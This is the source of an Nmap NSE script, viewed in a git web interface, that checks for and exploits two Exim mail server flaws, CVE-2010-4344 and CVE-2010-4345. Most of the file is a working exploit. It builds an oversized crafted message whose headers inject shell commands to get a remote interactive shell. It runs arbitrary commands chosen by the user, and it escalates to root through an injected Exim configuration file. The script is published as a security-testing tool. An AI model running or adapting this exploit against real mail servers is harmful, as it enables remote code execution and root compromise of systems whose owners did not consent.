summaryrefslogtreecommitdiffstats
path: root/scripts/smtp-vuln-cve2010-4344.nse
blob: 537e4eac4911519137e7995c3a8c55c4b3b2aab1 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
local math = require "math"
local shortport = require "shortport"
local smtp = require "smtp"
local stdnse = require "stdnse"
local string = require "string"
local stringaux = require "stringaux"
local table = require "table"

description = [[
Checks for and/or exploits a heap overflow within versions of Exim
prior to version 4.69 (CVE-2010-4344) and a privilege escalation
vulnerability in Exim 4.72 and prior (CVE-2010-4345).

The heap overflow vulnerability allows remote attackers to execute
arbitrary code with the privileges of the Exim daemon
(CVE-2010-4344). If the exploit fails then the Exim smtpd child will
be killed (heap corruption).

The script also checks for a privilege escalation vulnerability that
affects Exim version 4.72 and prior. The vulnerability allows the exim
user to gain root privileges by specifying an alternate configuration
file using the -C option (CVE-2010-4345).

The <code>smtp-vuln-cve2010-4344.exploit</code> script argument will make
the script try to exploit the vulnerabilities, by sending more than 50MB of
data, it depends on the message size limit configuration option of the
Exim server. If the exploit succeed the <code>exploit.cmd</code> or
<code>smtp-vuln-cve2010-4344.cmd</code> script arguments can be used to
run an arbitrary command on the remote system, under the
<code>Exim</code> user privileges. If this script argument is set then it
will enable the <code>smtp-vuln-cve2010-4344.exploit</code> argument.

To get the appropriate debug messages for this script, please use -d2.

Some of the logic of this script is based on the metasploit
exim4_string_format exploit.
* http://www.metasploit.com/modules/exploit/unix/smtp/exim4_string_format

Reference:
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4344
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4345
]]

---
-- @usage
-- nmap --script=smtp-vuln-cve2010-4344 --script-args="smtp-vuln-cve2010-4344.exploit" -pT:25,465,587 <host>
-- nmap --script=smtp-vuln-cve2010-4344 --script-args="exploit.cmd='uname -a'" -pT:25,465,587 <host>
--
-- @output
-- PORT   STATE SERVICE
-- 25/tcp open  smtp
-- | smtp-vuln-cve2010-4344:
-- | Exim heap overflow vulnerability (CVE-2010-4344):
-- |   Exim (CVE-2010-4344): VULNERABLE
-- |     Shell command 'uname -a': Linux qemu-ubuntu-x32 2.6.38-8-generic #42-Ubuntu SMP Fri Jan 21 17:40:48 UTC 2011 i686 GNU/Linux
-- | Exim privileges escalation vulnerability (CVE-2010-4345):
-- |   Exim (CVE-2010-4345): VULNERABLE
-- |     Before 'id': uid=121(Debian-exim) gid=128(Debian-exim) groups=128(Debian-exim),45(sasl)
-- |_    After  'id': uid=0(root) gid=128(Debian-exim) groups=0(root)
--
-- @args smtp-vuln-cve2010-4344.exploit The script will force the checks,
--       and will try to exploit the Exim SMTP server.
-- @args smtp-vuln-cve2010-4344.mailfrom Define the source email address to
--       be used.
-- @args smtp-vuln-cve2010-4344.mailto Define the destination email address
--       to be used.
-- @args exploit.cmd or smtp-vuln-cve2010-4344.cmd An arbitrary command to
--       run under the <code>Exim</code> user privileges on the remote
--       system. If this argument is set then, it will enable the
--       <code>smtp-vuln-cve2010-4344.exploit</code> argument.

author = "Djalal Harouni"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit", "intrusive", "vuln"}


portrule = shortport.port_or_service({25, 465, 587},
  {"smtp", "smtps", "submission"})

local function smtp_finish(socket, status, msg)
  if socket then
    smtp.quit(socket)
  end
  return status, msg
end

local function get_exim_banner(response)
  local banner, version
  banner = response:match("%d+%s(.+)")
  if banner then
    version = tonumber(banner:match("Exim%s([0-9%.]+)"))
  end
  return banner, version
end

local function send_recv(socket, data)
  local st, ret = socket:send(data)
  if st then
    st, ret = socket:receive_lines(1)
  end
  return st, ret
end

-- Exploit the privileges escalation vulnerability CVE-2010-4345.
-- return true, results (shell command results) If it was
-- successfully exploited.
local function escalate_privs(socket, smtp_opts)
  local exploited, results = false, ""
  local tmp_file = "/tmp/nmap"..tostring(math.random(0x0FFFFF, 0x7FFFFFFF))
  local exim_run = "exim -C"..tmp_file.." -q"
  local exim_spool = "spool_directory = \\${run{/bin/sh -c 'id > "..
  tmp_file.."' }}"

  stdnse.debug2("trying to escalate privileges")

  local status, ret = send_recv(socket, "id\n")
  if not status then
    return status, ret
  end
  results = string.format("    Before 'id': %s",
    string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))

  status, ret = send_recv(socket,
    string.format("cat > %s << EOF\n",
    tmp_file))
  if not status then
    return status, ret
  end

  status, ret = send_recv(socket, exim_spool.."\nEOF\n")
  if not status then
    return status, ret
  end

  status, ret = send_recv(socket, exim_run.."\n")
  if not status then
    return status, ret
  end

  status, ret = send_recv(socket, string.format("cat %s\n", tmp_file))
  if not status then
    return status, ret
  elseif ret:match("uid=0%(root%)") then
    exploited = true
    results = results..string.format("\n    After  'id': %s",
      string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))
    stdnse.debug2("successfully exploited the Exim privileges escalation.")
  end

  -- delete tmp file, should we care about this ?
  socket:send(string.format("rm -fr %s\n", tmp_file))
  return exploited, results
end

-- Tries to exploit the heap overflow and the privilege escalation
-- Returns true, exploit_status, possible values:
--  nil      Not vulnerable
--  "heap"   Vulnerable to the heap overflow
--  "heap-exploited"  The heap overflow vulnerability was exploited
local function exploit_heap(socket, smtp_opts)
  local exploited, ret = false, ""

  stdnse.debug2("exploiting the heap overflow")

  local status, response = smtp.mail(socket, smtp_opts.mailfrom)
  if not status then
    return status, response
  end

  status, response = smtp.recipient(socket, smtp_opts.mailto)
  if not status then
    return status, response
  end

  -- send DATA command
  status, response = smtp.datasend(socket)
  if not status then
    return status, response
  end

  local msg_len, log_buf_size = smtp_opts.size + (1024*256), 8192
  local log_buf = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from"
  local log_host = string.format("%s(%s)",
    smtp_opts.ehlo_host ~= smtp_opts.domain and
    smtp_opts.ehlo_host.." " or "",
    smtp_opts.domain)
  log_buf = string.format("%s <%s> H=%s [%s]: message too big: "..
    "read=%s max=%s\nEnvelope-from: <%s>\nEnvelope-to: <%s>\n",
    log_buf, smtp_opts.mailfrom, log_host, smtp_opts.domain_ip,
    msg_len, smtp_opts.size, smtp_opts.mailfrom,
    smtp_opts.mailto)

  log_buf_size = log_buf_size - 3
  local filler, hdrs, nmap_hdr = string.rep("X", 8 * 16), "", "NmapHeader"

  while #log_buf < log_buf_size do
    local hdr = string.format("%s: %s\n", nmap_hdr, filler)
    local one = 2 + #hdr
    local two = 2 * one
    local left = log_buf_size - #log_buf
    if left < two and left > one then
      left = left - 4
      local first = left / 2
      hdr = string.sub(hdr, 0, first - 1).."\n"
      hdrs = hdrs..hdr
      log_buf = log_buf.."  "..hdr
      local second = left - first
      hdr = string.format("%s: %s\n", nmap_hdr, filler)
      hdr = string.sub(hdr, 0, second - 1).."\n"
    end
    hdrs = hdrs..hdr
    log_buf = log_buf.."  "..hdr
  end

  local hdrx = "HeaderX: "
  for i = 1, 50 do
    for fd = 3, 12 do
      hdrx = hdrx..
      string.format("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}} ",
        fd)
    end
  end

  local function clean(socket, status, msg)
    socket:close()
    return status, msg
  end

  stdnse.debug1("sending forged mail, size: %.fMB", msg_len / (1024*1024))

  -- use low socket level functions.
  status, ret = socket:send(hdrs)
  if not status then
    return clean(socket, status, "failed to send hdrs.")
  end

  status, ret = socket:send(hdrx)
  if not status then
    return clean(socket, status, "failed to send hdrx.")
  end

  status, ret = socket:send("\r\n")
  if not status then
    return clean(socket, status, "failed to terminate headers.")
  end

  local body_size = 0
  filler = string.rep(string.rep("Nmap", 63).."XX\r\n", 1024)
  while body_size < msg_len do
    body_size = body_size + #filler
    status, ret = socket:send(filler)
    if not status then
      return clean(socket, status, "failed to send body.")
    end
  end

  status, response = smtp.query(socket, "\r\n.")
  if not status then
    if string.match(response, "connection closed") then
      -- the child was killed (heap corruption).
      return true, "heap"
    else
      return status, "failed to terminate the message."
    end
  end

  status, ret = smtp.check_reply("DATA", response)
  if not status then
    local code = tonumber(ret:match("(%d+)"))
    if code ~= 552 then
      smtp.quit(socket)
      return status, ret
    end
  end

  stdnse.debug2("the forged mail was sent successfully.")

  -- second round
  status, response = smtp.query(socket, "MAIL",
    string.format("FROM:<%s>", smtp_opts.mailfrom))
  if not status then
    return status, response
  end

  status, ret = smtp.query(socket, "RCPT",
    string.format("TO:<%s>", smtp_opts.mailto))
  if not status then
    return status, ret
  end

  if response:match("sh:%s") or ret:match("sh:%s") then
    stdnse.debug2("successfully exploited the Exim heap overflow.")
    exploited = "heap-exploited"
  end

  return true, exploited
end

-- Checks if the Exim server is vulnerable to CVE-2010-4344
local function check_exim(smtp_opts)
  local out, smtp_server = {}, {}
  local exim_heap_ver, exim_priv_ver = 4.69, 4.72
  local exim_default_size, nmap_scanme_ip = 52428800, '64.13.134.52'
  local heap_cve, priv_cve = 'CVE-2010-4344', 'CVE-2010-4345'
  local heap_str = "Exim heap overflow vulnerability ("..heap_cve.."):"
  local priv_str = "Exim privileges escalation vulnerability ("..priv_cve.."):"
  local exim_heap_result, exim_priv_result = "", ""

  local socket, ret = smtp.connect(smtp_opts.host,
    smtp_opts.port,
    {ssl = true,
      timeout = 8000,
      recv_before = true,
    lines = 1})

  if not socket then
    return smtp_finish(nil, socket, ret)
  end

  table.insert(out, heap_str)
  table.insert(out, priv_str)

  smtp_server.banner, smtp_server.version = get_exim_banner(ret)
  if smtp_server.banner then
    smtp_server.smtpd = smtp_server.banner:match("Exim")
    if smtp_server.smtpd and smtp_server.version then
      table.insert(out, 1,
        string.format("Exim version: %.02f", smtp_server.version))

      if smtp_server.version > exim_heap_ver then
        exim_heap_result = string.format("  Exim (%s): NOT VULNERABLE",
          heap_cve)
      else
        exim_heap_result = string.format("  Exim (%s): LIKELY VULNERABLE",
          heap_cve)
      end

      if smtp_server.version > exim_priv_ver then
        exim_priv_result = string.format("  Exim (%s): NOT VULNERABLE",
          priv_cve)
      else
        exim_priv_result = string.format("  Exim (%s): LIKELY VULNERABLE",
          priv_cve)
      end

    else
      return smtp_finish(socket, true,
        'The SMTP server is not Exim: NOT VULNERABLE')
    end
  else
    return smtp_finish(socket, false,
      'failed to read the SMTP banner.')
  end

  if not smtp_opts.exploit then
    table.insert(out, 3, exim_heap_result)
    table.insert(out, 5, exim_priv_result)
    table.insert(out,
      "To confirm and exploit the vulnerabilities, run with"..
      " --script-args='smtp-vuln-cve2010-4344.exploit'")
    return smtp_finish(socket, true, out)
  end

  -- force the checks and exploit the program
  local status, response = smtp.ehlo(socket, smtp_opts.domain)
  if not status then
    return smtp_finish(nil, status, response)
  end

  for _, line in pairs(stringaux.strsplit("\r?\n", response)) do
    if not smtp_opts.ehlo_host or not smtp_opts.domain_ip then
      smtp_opts.ehlo_host, smtp_opts.domain_ip =
      line:match("%d.-Hello%s(.*)%s%[([^]]*)%]")
    end
    if not smtp_server.size then
      smtp_server.size = line:match("%d+%-SIZE%s(%d+)")
    end
  end

  if not smtp_server.size then
    smtp_server.size = exim_default_size
  else
    smtp_server.size = tonumber(smtp_server.size)
  end
  smtp_opts.size = smtp_server.size

  -- use 'nmap.scanme.org' IP address
  if not smtp_opts.domain_ip then
    smtp_opts.domain_ip = nmap_scanme_ip
  end

  -- set the appropriate 'MAIL FROM' and 'RCPT TO' values
  if not smtp_opts.mailfrom then
    smtp_opts.mailfrom = string.format("root@%s", smtp_opts.domain)
  end
  if not smtp_opts.mailto then
    smtp_opts.mailto = string.format("postmaster@%s",
      smtp_opts.host.targetname and
      smtp_opts.host.targetname or 'localhost')
  end

  status, ret = exploit_heap(socket, smtp_opts)
  if not status then
    return smtp_finish(nil, status, ret)
  elseif ret then
    exim_heap_result = string.format("  Exim (%s): VULNERABLE",
      heap_cve)
    exim_priv_result = string.format("  Exim (%s): VULNERABLE",
      priv_cve)
    if ret:match("exploited") then
      -- clear socket
      socket:receive_lines(1)
      if smtp_opts.shell_cmd then
        status, response = send_recv(socket,
          string.format("%s\n", smtp_opts.shell_cmd))
        if status then
          exim_heap_result = exim_heap_result ..
          string.format("\n    Shell command '%s': %s",
            smtp_opts.shell_cmd,
            string.gsub(response, "^%$*%s*(.-)\n*%$*$", "%1"))
        end
      end

      status, response = escalate_privs(socket, smtp_opts)
      if status then
        exim_priv_result = exim_priv_result.."\n"..response
      end
      socket:close()
    end
  else
    exim_heap_result = string.format("  Exim (%s): NOT VULNERABLE",
      heap_cve)
  end

  table.insert(out, 3, exim_heap_result)
  table.insert(out, 5, exim_priv_result)
  return true, out
end

action = function(host, port)
  local smtp_opts = {
    host = host,
    port = port,
    domain = stdnse.get_script_args('smtp.domain') or
    'nmap.scanme.org',
    mailfrom = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailfrom'),
    mailto = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailto'),
    exploit = stdnse.get_script_args('smtp-vuln-cve2010-4344.exploit'),
    shell_cmd = stdnse.get_script_args('exploit.cmd') or
    stdnse.get_script_args('smtp-vuln-cve2010-4344.cmd'),
  }
  if smtp_opts.shell_cmd then
    smtp_opts.exploit = true
  end
  local status, output = check_exim(smtp_opts)
  if not status then
    stdnse.debug1("%s", output)
    return nil
  end
  return stdnse.format_output(status, output)
end